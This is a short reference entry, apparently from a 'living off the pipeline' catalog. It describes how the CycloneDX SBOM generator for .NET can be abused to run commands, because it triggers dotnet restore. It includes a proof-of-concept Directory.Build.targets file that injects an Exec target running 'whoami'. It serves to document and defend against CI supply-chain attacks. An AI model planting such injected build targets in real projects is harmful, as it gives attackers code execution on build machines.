LOTP

CycloneDX

cli config-file input-file eval-sh

References

CycloneDX generates software bills of materials for .NET projects. With default restore behavior, scanning a project invokes dotnet restore.

Directory.Build.targets

An attacker controlling the scanned project or a participating import can execute a command during SBOM generation:

<Project>
  <Target Name="Injected" BeforeTargets="Restore">
    <Exec Command="whoami" />
  </Target>
</Project>
dotnet CycloneDX App.csproj